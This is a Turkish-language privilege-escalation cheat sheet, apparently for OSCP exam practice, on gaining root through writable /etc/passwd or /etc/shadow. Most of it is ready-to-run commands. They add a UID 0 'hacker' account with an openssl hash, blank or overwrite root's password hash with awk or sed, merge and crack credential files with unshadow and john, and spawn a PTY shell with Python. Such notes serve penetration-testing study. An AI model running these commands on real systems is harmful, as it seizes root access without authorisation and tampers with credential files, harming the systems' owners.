Yazılabilir /etc/passwd ve /etc/shadow ile Privilege Escalation
Yazılabilir /etc/passwd'a openssl passwd hash'i ile UID 0 kullanıcı ekleyerek root ol; yazılabilir /etc/shadow'da root parolasını yeni hash ile değiştirerek doğrudan oturum aç.
- Hedefte düşük yetkili shell
- /etc/passwd veya /etc/shadow üzerinde write yetkisi (yanlış izin)
Komutlar
ls -la /etc/passwd /etc/shadow find /etc/passwd /etc/shadow /etc/group -writable 2>/dev/null openssl passwd -1 -salt abc {{PASS}} openssl passwd -6 {{PASS}} echo 'hacker:$1$abc$<HASH>:0:0:root:/root:/bin/bash' >> /etc/passwd su hacker echo 'root::0:0:root:/root:/bin/bash' > /tmp/p; awk 'NR==1{print "root::0:0:root:/root:/bin/bash"} NR>1' /etc/passwd openssl passwd -6 -salt xyz {{PASS}} sed -i 's#^root:[^:]*#root:$6$xyz$<HASH>#' /etc/shadow su root unshadow /etc/passwd /etc/shadow > /tmp/unshadow.txt john --wordlist={{WORDLIST}} /tmp/unshadow.txt Genel Bakış
/etc/passwd ve /etc/shadow üzerinde yanlış yapılandırılmış yazma izinleri, en hızlı ve sınav-güvenli root yollarından biridir. Misconfiguration genelde bir script veya deploy aracının dosya izinlerini gevşetmesinden doğar. Bu teknik exploit gerektirmez, tamamen dosya manipülasyonudur.
Enumeration
İlk olarak ls -la /etc/passwd /etc/shadow ile izinleri kontrol et. /etc/passwd normalde -rw-r--r-- root root, /etc/shadow ise -rw-r----- root shadow olmalıdır. Kullanıcının veya bulunduğu bir grubun bu dosyalarda w biti varsa istismar mümkündür. find /etc/passwd /etc/shadow -writable ile tek komutta doğrula.
Exploitation — Yazılabilir /etc/passwd
Klasik yöntem, passwd dosyasının modern sistemlerde de ikinci alanına (parola alanı) doğrudan bir hash gömülebilmesidir; bu alan x değilse shadow yerine buradaki hash kullanılır. Adımlar:
openssl passwd -1(MD5) veyaopenssl passwd -6(SHA-512) ile bir hash üret.hacker:<HASH>:0:0:root:/root:/bin/bashsatırını dosyaya ekle — mevcut root satırını bozma, yeni UID 0 kullanıcı ekle (daha güvenli, geri dönülebilir).su hacker→ ürettiğin parolayı gir → root shell.
Eski/küçük sistemlerde root satırının ikinci alanını tamamen boş bırakmak parolasız login sağlayabilir, ama bu OSCP makinelerinde nadir; hash gömme yöntemi daha güvenilirdir.
Exploitation — Yazılabilir /etc/shadow
Sadece shadow yazılabiliyorsa, root’un hash alanını openssl passwd -6 çıktısı ile değiştir (sed ile sadece root: satırının ikinci alanını hedefle). Sonra su root ile yeni parolayı kullan. passwd’a dokunmana gerek kalmaz.
Sadece Okuma İzni Varsa (Loot)
shadow okunabiliyor ama yazılamıyorsa (örn. SGID shadow grubu, cap_dac_read_search, ya da yedek dosyası), unshadow ile passwd+shadow birleştir ve john --wordlist={{WORDLIST}} ile hash’leri kır. Bu, write yolu kapalıyken alternatif rottur.
Notlar / Gotchas
- Modern sistemler
openssl passwd -1(MD5) hash’ini hâlâ kabul eder ama bazı sertleştirilmiş kurulumlar sadece$6$(SHA-512) kabul eder; root shell açılmazsa-6ile tekrar dene. >>(append) kullan,>(overwrite) değil — yanlışlıkla passwd’u silersen sistemi bozar ve sınavda makineyi reset gerektirir.subir TTY ister; non-interactive reverse shell’de hata alırsan öncepython3 -c 'import pty;pty.spawn("/bin/bash")'ile PTY yükselt.- İşin bittiğinde eklediğin satırı temizle (cleanup) — rapor için before/after passwd’u not al.